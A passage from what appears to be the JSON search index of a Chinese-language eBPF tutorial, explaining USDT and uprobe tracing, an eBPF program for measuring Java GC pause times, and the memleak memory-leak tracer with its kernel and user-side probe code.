的连接状态和往返时间。我们了解了tcpstates和tcprtt的工作原理和实现方式，包括如何使用 BPF map 存储数据，如何在 eBPF 程序中获取和处理 TCP 连接信息，以及如何在用户态应用程序中解析和显示 eBPF 程序收集的数据。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 总结","id":"90","title":"总结"},"91":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。此外，eBPF 还支持使用 USDT (用户级静态定义跟踪点) 捕获用户态的应用程序行为。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍如何使用 eBPF 和 USDT 来捕获和分析 Java 的垃圾回收 (GC) 事件的耗时。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时","id":"91","title":"eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时"},"92":{"body":"USDT 是一种在应用程序中插入静态跟踪点的机制，它允许开发者在程序的关键位置插入可用于调试和性能分析的探针。这些探针可以在运行时被 DTrace、SystemTap 或 eBPF 等工具动态激活，从而在不重启应用程序或更改程序代码的情况下，获取程序的内部状态和性能指标。USDT 在很多开源软件，如 MySQL、PostgreSQL、Ruby、Python 和 Node.js 等都有广泛的应用。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » USDT 介绍","id":"92","title":"USDT 介绍"},"93":{"body":"在用户层面进行动态跟踪，即用户级动态跟踪（User-Level Dynamic Tracing）允许我们对任何用户级别的代码进行插桩。比如，我们可以通过在 MySQL 服务器的 dispatch_command() 函数上进行插桩，来跟踪服务器的查询请求： # ./uprobe 'p:cmd /opt/bin/mysqld:_Z16dispatch_command19enum_server_commandP3THDPcj +0(%dx):string'\nTracing uprobe cmd (p:cmd /opt/bin/mysqld:0x2dbd40 +0(%dx):string). Ctrl-C to end. mysqld-2855 [001] d... 19957757.590926: cmd: (0x6dbd40) arg1=\"show tables\" mysqld-2855 [001] d... 19957759.703497: cmd: (0x6dbd40) arg1=\"SELECT * FROM numbers\"\n[...] 这里我们使用了 uprobe 工具，它利用了 Linux 的内置功能：ftrace（跟踪器）和 uprobes（用户级动态跟踪，需要较新的 Linux 版本，例如 4.0 左右）。其他的跟踪器，如 perf_events 和 SystemTap，也可以实现此功能。 许多其他的 MySQL 函数也可以被跟踪以获取更多的信息。我们可以列出和计算这些函数的数量： # ./uprobe -l /opt/bin/mysqld | more\naccount_hash_get_key\nadd_collation\nadd_compiled_collation\nadd_plugin_noargs\nadjust_time_range\n[...]\n# ./uprobe -l /opt/bin/mysqld | wc -l\n21809 这有 21,000 个函数。我们也可以跟踪库函数，甚至是单个的指令偏移。 用户级动态跟踪的能力是非常强大的，它可以解决无数的问题。然而，使用它也有一些困难：需要确定需要跟踪的代码，处理函数参数，以及应对代码的更改。 用户级静态定义跟踪（User-level Statically Defined Tracing, USDT）则可以在某种程度上解决这些问题。USDT 探针（或者称为用户级 \"marker\"）是开发者在代码的关键位置插入的跟踪宏，提供稳定且已经过文档说明的 API。这使得跟踪工作变得更加简单。 使用 USDT，我们可以简单地跟踪一个名为 mysql:query__start 的探针，而不是去跟踪那个名为 _Z16dispatch_command19enum_server_commandP3THDPcj 的 C++ 符号，也就是 dispatch_command() 函数。当然，我们仍然可以在需要的时候去跟踪 dispatch_command() 以及 其他 21,000 个 mysqld 函数，但只有当 USDT 探针无法解决问题的时候我们才需要这么做。 在 Linux 中的 USDT，无论是哪种形式的静态跟踪点，其实都已经存在了几十年。它最近由于 Sun 的 DTrace 工具的流行而再次受到关注，这使得许多常见的应用程序，包括 MySQL、PostgreSQL、Node.js、Java 等都加入了 USDT。SystemTap 则开发了一种可以消费这些 DTrace 探针的方式。 你可能正在运行一个已经包含了 USDT 探针的 Linux 应用程序，或者可能需要重新编译（通常是 --enable-dtrace）。你可以使用 readelf 来进行检查，例如对于 Node.js： # readelf -n node\n[...]\nNotes at offset 0x00c43058 with length 0x00000494: Owner Data size Description stapsdt 0x0000003c NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: gc__start Location: 0x0000000000bf44b4, Base: 0x0000000000f22464, Semaphore: 0x0000000001243028 Arguments: 4@%esi 4@%edx 8@%rdi\n[...] stapsdt 0x00000082 NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: http__client__request Location: 0x0000000000bf48ff, Base: 0x0000000000f22464, Semaphore: 0x0000000001243024 Arguments: 8@%rax 8@%rdx 8@-136(%rbp) -4@-140(%rbp) 8@-72(%rbp) 8@-80(%rbp) -4@-144(%rbp)\n[...] 这就是使用 --enable-dtrace 重新编译的 node，以及安装了提供 \"dtrace\" 功能来构建 USDT 支持的 systemtap-sdt-dev 包。这里显示了两个探针：node:gc__start（开始进行垃圾回收）和 node:http__client__request。 在这一点上，你可以使用 SystemTap 或者 LTTng 来跟踪这些探针。然而，内置的 Linux 跟踪器，比如 ftrace 和 perf_events，目前还无法做到这一点（尽管 perf_events 的支持正在开发中）。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 用户层面的追踪机制：用户级动态跟踪和 USDT","id":"93","title":"用户层面的追踪机制：用户级动态跟踪和 USDT"},"94":{"body":"Java 作为一种高级编程语言，其自动垃圾回收（GC）是其核心特性之一。Java GC 的目标是自动地回收那些不再被程序使用的内存空间，从而减轻程序员在内存管理方面的负担。然而，GC 过程可能会引发应用程序的停顿，对程序的性能和响应时间产生影响。因此，对 Java GC 事件进行监控和分析，对于理解和优化 Java 应用的性能是非常重要的。 在接下来的教程中，我们将演示如何使用 eBPF 和 USDT 来监控和分析 Java GC 事件的耗时，希望这些内容对你在使用 eBPF 进行应用性能分析方面的工作有所帮助。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » Java GC 介绍","id":"94","title":"Java GC 介绍"},"95":{"body":"Java GC 的 eBPF 程序分为内核态和用户态两部分，我们会分别介绍这两部分的实现机制。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 实现机制","id":"95","title":"eBPF 实现机制"},"96":{"body":"/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2022 Chen Tao */\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/usdt.bpf.h>\n#include \"javagc.h\" struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 100); __type(key, uint32_t); __type(value, struct data_t);\n} data_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __type(key, int); __type(value, int);\n} perf_map SEC(\".maps\"); __u32 time; static int gc_start(struct pt_regs *ctx)\n{ struct data_t data = {}; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); bpf_map_update_elem(&data_map, &data.pid, &data, 0); return 0;\n} static int gc_end(struct pt_regs *ctx)\n{ struct data_t data = {}; struct data_t *p; __u32 val; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); p = bpf_map_lookup_elem(&data_map, &data.pid); if (!p) return 0; val = data.ts - p->ts; if (val > time) { data.ts = val; bpf_perf_event_output(ctx, &perf_map, BPF_F_CURRENT_CPU, &data, sizeof(data)); } bpf_map_delete_elem(&data_map, &data.pid); return 0;\n} SEC(\"usdt\")\nint handle_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 首先，我们定义了两个映射（map）： data_map：这个 hashmap 存储每个进程 ID 的垃圾收集开始时间。data_t 结构体包含进程 ID、CPU ID 和时间戳。 perf_map：这是一个 perf event array，用于将数据发送回用户态程序。 然后，我们有四个处理函数：gc_start、gc_end 和两个 USDT 处理函数 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end。这些函数都用 BPF 的 SEC(\"usdt\") 宏注解，以便在 Java 进程中捕获到与垃圾收集相关的 USDT 事件。 gc_start 函数在垃圾收集开始时被调用。它首先获取当前的 CPU ID、进程 ID 和时间戳，然后将这些数据存入 data_map。 gc_end 函数在垃圾收集结束时被调用。它执行与 gc_start 类似的操作，但是它还从 data_map 中检索开始时间，并计算垃圾收集的持续时间。如果持续时间超过了设定的阈值（变量 time），那么它将数据发送回用户态程序。 handle_gc_start 和 handle_gc_end 是针对垃圾收集开始和结束事件的处理函数，它们分别调用了 gc_start 和 gc_end。 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end 是针对内存池的垃圾收集开始和结束事件的处理函数，它们也分别调用了 gc_start 和 gc_end。 最后，我们有一个 LICENSE 数组，声明了该 BPF 程序的许可证，这是加载 BPF 程序所必需的。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 内核态程序","id":"96","title":"内核态程序"},"97":{"body":"用户态程序的主要目标是加载和运行eBPF程序，以及处理来自内核态程序的数据。它是通过 libbpf 库来完成这些操作的。这里我们省略了一些通用的加载和运行 eBPF 程序的代码，只展示了与 USDT 相关的部分。 第一个函数 get_jvmso_path 被用来获取运行的Java虚拟机（JVM）的 libjvm.so 库的路径。首先，它打开了 /proc/<pid>/maps 文件，该文件包含了进程地址空间的内存映射信息。然后，它在文件中搜索包含 libjvm.so 的行，然后复制该行的路径到提供的参数中。 static int get_jvmso_path(char *path)\n{ char mode[16], line[128], buf[64]; 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数据结构，以及用于装载内核态代码的关键函数。在用户态代码include此文件之后调用对应的装载函数即可将 字节码装载到内核中。同样的，libbpf-bootstrap也有非常完备的入门教程，用户可以在 该处 得到详细的入门操作介绍。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » libbpf","id":"10","title":"libbpf"},"100":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 和 USDT 动态跟踪和分析 Java 的垃圾回收(GC)事件。我们了解了如何在用户态应用程序中设置 USDT 跟踪点，以及如何编写 eBPF 程序来捕获这些跟踪点的信息，从而更深入地理解和优化 Java GC 的行为和性能。 此外，我们也介绍了一些关于 Java GC、USDT 和 eBPF 的基础知识和实践技巧，这些知识和技巧对于想要在网络和系统性能分析领域深入研究的开发者来说是非常有价值的。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 总结","id":"100","title":"总结"},"101":{"body":"eBPF（扩展的伯克利数据包过滤器）是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在本篇教程中，我们将探讨如何使用 eBPF 编写 Memleak 程序，以监控程序的内存泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏","id":"101","title":"eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏"},"102":{"body":"内存泄漏是计算机编程中的一种常见问题，其严重程度不应被低估。内存泄漏发生时，程序会逐渐消耗更多的内存资源，但并未正确释放。随着时间的推移，这种行为会导致系统内存逐渐耗尽，从而显著降低程序及系统的整体性能。 内存泄漏有多种可能的原因。这可能是由于配置错误导致的，例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的，如在程序执行过程中忘记释放不再需要的内存。此外，如果一个应用程序的内存使用量过大，那么系统性能可能会因页面交换（swapping）而大幅下降，甚至可能导致应用程序被系统强制终止（Linux 的 OOM killer）。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 背景及其重要性","id":"102","title":"背景及其重要性"},"103":{"body":"调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况，通常需要应用专门的工具来帮助诊断。例如，有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来，如 Valgrind memcheck，这类工具可以模拟 CPU 来检查所有内存访问，但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器，如 libtcmalloc，它相对较快，但仍可能使应用程序运行速度降低五倍以上。此外，还有一些工具，如 gdb，可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而，这些工具通常在获取核心转储时需要暂停应用程序，或在应用程序终止后才能调用 free() 函数。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 调试内存泄漏的挑战","id":"103","title":"调试内存泄漏的挑战"},"104":{"body":"在这种背景下，eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件，包括内存的分配和释放。通过 eBPF，我们可以跟踪内存分配和释放的请求，并收集每次分配的调用堆栈。然后，我们可以分 析这些信息，找出执行了内存分配但未执行释放操作的调用堆栈，这有助于我们找出导致内存泄漏的源头。这种方式的优点在于，它可以实时地在运行的应用程序中进行，而无需暂停应用程序或进行复杂的前后处理。 memleak eBPF 工具可以跟踪并匹配内存分配和释放的请求，并收集每次分配的调用堆栈。随后，memleak 可以打印一个总结，表明哪些调用堆栈执行了分配，但是并没有随后进行释放。例如，我们运行命令： # ./memleak -p $(pidof allocs)\nAttaching to pid 5193, Ctrl+C to quit.\n[11:16:33] Top 2 stacks with outstanding allocations: 80 bytes in 5 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] [11:16:34] Top 2 stacks with outstanding allocations: 160 bytes in 10 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] 运行这个命令后，我们可以看到分配但未释放的内存来自于哪些堆栈，并且可以看到这些未释放的内存的大小和数量。 随着时间的推移，很显然，allocs 进程的 main 函数正在泄漏内存，每次泄漏 16 字节。幸运的是，我们不需要检查每个分配，我们得到了一个很好的总结，告诉我们哪个堆栈负责大量的泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 的作用","id":"104","title":"eBPF 的作用"},"105":{"body":"在基本层面上，memleak 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着，当这些函数被调用时，memleak 就会记录一些重要信息，如调用者的进程 ID（PID）、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时，memleak 则会在其内部的映射表（map）中删除相应的内存分配记录。这种机制使得 memleak 能够准确地追踪到哪些内存块已被分配但未被释放。 对于用户态的常用内存分配函数，如 malloc 和 calloc 等，memleak 利用了用户态探测（uprobe）技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术，它可以在运行时不修改二进制文件的情况下在任意位置设置断点，从而实现对特定函数调用的追踪。 对于内核态的内存分配函数，如 kmalloc 等，memleak 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术，它可以在内核运行时动态地追踪特定的事件，而无需重新编译内核或加载内核模块。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 的实现原理","id":"105","title":"memleak 的实现原理"},"106":{"body":"","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 内核态 eBPF 程序实现","id":"106","title":"内核态 eBPF 程序实现"},"107":{"body":"memleak 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前，让我们首先观察 memleak 所定义的一些数据结构，这些结构在其内核态和用户态程序中均有使用。 #ifndef __MEMLEAK_H\n#define __MEMLEAK_H #define ALLOCS_MAX_ENTRIES 1000000\n#define COMBINED_ALLOCS_MAX_ENTRIES 10240 struct alloc_info { __u64 size; // 分配的内存大小 __u64 timestamp_ns; // 分配时的时间戳，单位为纳秒 int stack_id; // 分配时的调用堆栈ID\n}; union combined_alloc_info { struct { __u64 total_size : 40; // 所有未释放分配的总大小 __u64 number_of_allocs : 24; // 所有未释放分配的总次数 }; __u64 bits; // 结构的位图表示\n}; #endif /* __MEMLEAK_H */ 这里定义了两个主要的数据结构：alloc_info 和 combined_alloc_info。 alloc_info 结构体包含了一个内存分配的基本信息，包括分配的内存大小 size、分配发生时的时间戳 timestamp_ns，以及触发分配的调用堆栈 ID stack_id。 combined_alloc_info 是一个联合体（union），它包含一个嵌入的结构体和一个 __u64 类型的位图表示 bits。嵌入的结构体有两个成员：total_size 和 number_of_allocs，分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数，用来限制其大小。通过这样的位数限制，可以节省combined_alloc_info结构的存储空间。同时，由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits，因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs，从而避免了在程序中定义额外的变量和函数的复杂性。 接下来，memleak 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射（maps）。这些映射都以 SEC(\".maps\") 的形式定义，表示它们属于 eBPF 程序的映射部分。 const volatile size_t min_size = 0;\nconst volatile size_t max_size = -1;\nconst volatile size_t page_size = 4096;\nconst volatile __u64 sample_rate = 1;\nconst volatile bool trace_all = false;\nconst volatile __u64 stack_flags = 0;\nconst volatile bool wa_missing_free = false; struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, pid_t); __type(value, u64); __uint(max_entries, 10240);\n} sizes SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* address */ __type(value, struct alloc_info); __uint(max_entries, ALLOCS_MAX_ENTRIES);\n} allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* stack id */ __type(value, union combined_alloc_info); __uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);\n} combined_allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); __type(value, u64); __uint(max_entries, 10240);\n} memptrs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_STACK_TRACE); __type(key, u32);\n} stack_traces SEC(\".maps\"); static union combined_alloc_info initial_cinfo; 这段代码首先定义了一些可配置的参数，如 min_size, max_size, page_size, sample_rate, trace_all, stack_flags 和 wa_missing_free，分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放（missing free）模式。 接着定义了五个映射： sizes：这是一个哈希类型的映射，键为进程 ID，值为 u64 类型，存储每个进程的分配大小。 allocs：这也是一个哈希类型的映射，键为分配的地址，值为 alloc_info 结构体，存储每个内存分配的详细信息。 combined_allocs：这是另一个哈希类型的映射，键为堆栈 ID，值为 combined_alloc_info 联合体，存储所有未释放分配的总大小和总次数。 memptrs：这也是一个哈希类型的映射，键和值都为 u64 类型，用于在用户空间和内核空间之间传递内存指针。 stack_traces：这是一个堆栈追踪类型的映射，键为 u32 类型，用于存储堆栈 ID。 以用户态的内存分配追踪部分为例，主要是挂钩内存相关的函数调用，如 malloc, free, calloc, realloc, mmap 和 munmap，以便在调用这些函数时进行数据记录。在用户态，memleak 主要使用了 uprobes 技术进行挂载。 每个函数调用被分为 \"enter\" 和 \"exit\" 两部分。\"enter\" 部分记录的是函数调用的参数，如分配的大小或者释放的地址。\"exit\" 部分则主要用于获取函数的返回值，如分配得到的内存地址。 这里，gen_alloc_enter, gen_alloc_exit, gen_free_enter 是实现记录行为的函数，他们分别用于记录分配开始、分配结束和释放开始的相关信息。 函数原型示例如下： SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ // 记录分配开始的相关信息 return gen_alloc_enter(size);\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ // 记录分配结束的相关信息 return gen_alloc_exit(ctx);\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ // 记录释放开始的相关信息 return gen_free_enter(address);\n} 其中，malloc_enter 和 free_enter 是分别挂载在 malloc 和 free 函数入口处的探针（probes），用于在函数调用时进行数据记录。而 malloc_exit 则是挂载在 malloc 函数的返回处的探针，用于记录函数的返回值。 这些函数使用了 BPF_KPROBE 和 BPF_KRETPROBE 这两个宏来声明，这两个宏分别用于声明 kprobe（内核探针）和 kretprobe（内核返回探针）。具体来说，kprobe 用于在函数调用时触发，而 kretprobe 则是在函数返回时触发。 gen_alloc_enter 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。 static int gen_alloc_enter(size_t size)\n{ if (size < min_size || size > max_size) return 0; if (sample_rate > 1) { if (bpf_ktime_get_ns() % sample_rate != 0) return 0; } const pid_t pid = bpf_get_current_pid_tgid() >> 32; bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY); if (trace_all) bpf_printk(\"alloc entered, size = %lu\\n\", size); return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ return gen_alloc_enter(size);\n} 首先，gen_alloc_enter 函数接收一个 size 参数，这个参数表示请求分配的内存的大小。如果这个值不在 min_size 和 max_size 之间，函数将直接返回，不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求，过滤掉不感兴趣的分配请求。 接下来，函数检查采样率 sample_rate。如果 sample_rate 大于1，意味着我们不需要追踪所有的内存分配请求，而是周期性地追踪。这里使用 bpf_ktime_get_ns 获取当前的时间戳，然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术，用于降低性能开销，同时还能够提供一个代表性的样本用于分析。 之后，函数使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID，我们通过右移 32 位来获取真正的进程 ID。 函数接下来更新 sizes 这个 map，这个 map 以进程 ID 为键，以请求的内存分配大小为值。BPF_ANY 表示如果 key 已存在，那么更新 value，否则就新建一个条目。 最后，如果启用了 trace_all 标志，函数将打印一条信息，说明发生了内存分配。 BPF_KPROBE 宏用于 最后定义了 BPF_KPROBE(malloc_enter, size_t size)，它会在 malloc 函数被调用时被 BPF uprobe 拦截执行，并通过 gen_alloc_enter 来记录内存分配大小。 我们刚刚分析了内存分配的入口函数 gen_alloc_enter，现在我们来关注这个过程的退出部分。具体来说，我们将讨论 gen_alloc_exit2 函数以及如何从内存分配调用中获取返回的内存地址。 static int gen_alloc_exit2(void *ctx, u64 address)\n{ const pid_t pid = bpf_get_current_pid_tgid() >> 32; struct alloc_info info; const u64* size = bpf_map_lookup_elem(&sizes, &pid); if (!size) return 0; // missed alloc entry __builtin_memset(&info, 0, sizeof(info)); info.size = *size; bpf_map_delete_elem(&sizes, &pid); if (address != 0) { info.timestamp_ns = bpf_ktime_get_ns(); info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags); bpf_map_update_elem(&allocs, &address, &info, BPF_ANY); update_statistics_add(info.stack_id, info.size); } if (trace_all) { bpf_printk(\"alloc exited, size = %lu, result = %lx\\n\", info.size, address); } return 0;\n}\nstatic int gen_alloc_exit(struct pt_regs *ctx)\n{ return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ return gen_alloc_exit(ctx);\n} gen_alloc_exit2 函数在内存分配操作完成时被调用，这个函数接收两个参数，一个是上下文 ctx，另一个是内存分配函数返回的内存地址 address。 首先，它获取当前线程的 PID，然后使用这个 PID 作为键在 sizes 这个 map 中查找对应的内存分配大小。如果没有找到（也就是说，没有对应的内存分配操作的入口），函数就会直接返回。 接着，函数清除 info 结构体的内容，并设置它的 size 字段为之前在 map 中找到的内存分配大小。并从 sizes 这个 map 中删除相应的元素，因为此时内存分配操作已经完成，不再需要这个信息。 接下来，如果 address 不为 0（也就是说，内存分配操作成功了），函数就会进一步收集一些额外的信息。首先，它获取当前的时间戳作为内存分配完成的时间，并获取当前的堆栈跟踪。这些信息都会被储存在 info 结构体中，并随后更新到 allocs 这个 map 中。 最后，函数调用 update_statistics_add 更新统计数据，如果启用了所有内存分配操作的跟踪，函数还会打印一些关于内存分配操作的信息。 请注意，gen_alloc_exit 函数是 gen_alloc_exit2 的一个包装，它将 PT_REGS_RC(ctx) 作为 address 参数传递给 gen_alloc_exit2。在我们的讨论中，我们刚刚提到在gen_alloc_exit2函数中，调用了update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。 static void update_statistics_add(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo); if (!existing_cinfo) return; const union combined_alloc_info incremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits);\n} update_statistics_add 函数接收两个参数：当前的堆栈 ID stack_id 以及内存分配的大小 sz。这两个参数都在内存分配事件中收集到，并且用于更新内存分配的统计数据。 首先，函数尝试在 combined_allocs 这个 map 中查找键值为当前堆栈 ID 的元素，如果找不到，就用 initial_cinfo（这是一个默认的 combined_alloc_info 结构体，所有字段都为零）来初始化新的元素。 接着，函数创建一个 incremental_cinfo，并设置它的 total_size 为当前内存分配的大小，设置 number_of_allocs 为 1。这是因为每次调用 update_statistics_add 函数都表示有一个新的内存分配事件发生，而这个事件的内存分配大小就是 sz。 最后，函数使用 __sync_fetch_and_add 函数原子地将 incremental_cinfo 的值加到 existing_cinfo 中。请注意这个步骤是线程安全的，即使有多个线程并发地调用 update_statistics_add 函数，每个内存分配事件也能正确地记录到统计数据中。 总的来说，update_statistics_add 函数实现了内存分配统计的更新逻辑，通过维护每个堆栈 ID 的内存分配总量和次数，我们可以深入了解到程序的内存分配行为。 在我们对内存分配的统计跟踪过程中，我们不仅要统计内存的分配，还要考虑内存的释放。在上述代码中，我们定义了一个名为 update_statistics_del 的函数，其作用是在内存释放时更新统计信息。而 gen_free_enter 函数则是在进程调用 free 函数时被执行。 static void update_statistics_del(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id); if (!existing_cinfo) { bpf_printk(\"failed to lookup combined allocs\\n\"); return; } const union combined_alloc_info decremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits);\n} update_statistics_del 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 combined_allocs 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 combined_alloc_info 结构体。如果找不到，就输出错误信息，然后函数返回。如果找到了，就会构造一个名为 decremental_cinfo 的 combined_alloc_info 结构体，设置它的 total_size 为要释放的内存大小，设置 number_of_allocs 为 1。然后使用 __sync_fetch_and_sub 函数原子地从 existing_cinfo 中减去 decremental_cinfo 的值。请注意，这里的 number_of_allocs 是负数，表示减少了一个内存分配。 static int gen_free_enter(const void *address)\n{ const u64 addr = (u64)address; const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr); if (!info) return 0; bpf_map_delete_elem(&allocs, &addr); update_statistics_del(info->stack_id, info->size); if (trace_all) { bpf_printk(\"free entered, address = %lx, size = %lu\\n\", address, info->size); } return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ return gen_free_enter(address);\n} 接下来看 gen_free_enter 函数。它接收一个地址作为参数，这个地址是内存分配的结果，也就是将要释放的内存的起始地址。函数首先在 allocs 这个 map 中使用这个地址作为键来查找对应的 alloc_info 结构体。如果找不到，那么就直接返回，因为这意味着这个地址并没有被分配过。如果找到了，那么就删除这个元素，并且调用 update_statistics_del 函数来更新统计数据。最后，如果启用了全局追踪，那么还会输出一条信息，包括这个地址以及它的大小。 在我们追踪和统计内存分配的同时，我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中，kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。 SEC(\"tracepoint/kmem/kfree\")\nint memleak__kfree(void *ctx)\n{ const void *ptr; if (has_kfree()) { struct trace_event_raw_kfree___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } else { struct trace_event_raw_kmem_free___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } return gen_free_enter(ptr);\n} 上述代码片段定义了一个函数memleak__kfree，这是一个bpf程序，会在内核调用kfree函数时执行。首先，该函数检查是否存在kfree函数。如果存在，则会读取传递给kfree函数的参数（即要释放的内存块的地址），并保存到变量ptr中；否则，会读取传递给kmem_free函数的参数（即要释放的内存块的地址），并保存到变量ptr中。接着，该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。 SEC(\"tracepoint/kmem/kmem_cache_alloc\")\nint memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx)\n{ if (wa_missing_free) gen_free_enter(ctx->ptr); gen_alloc_enter(ctx->bytes_alloc); return gen_alloc_exit2(ctx, (u64)(ctx->ptr));\n} 这段代码定义了一个函数 memleak__kmem_cache_alloc，这也是一个bpf程序，会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置，则调用 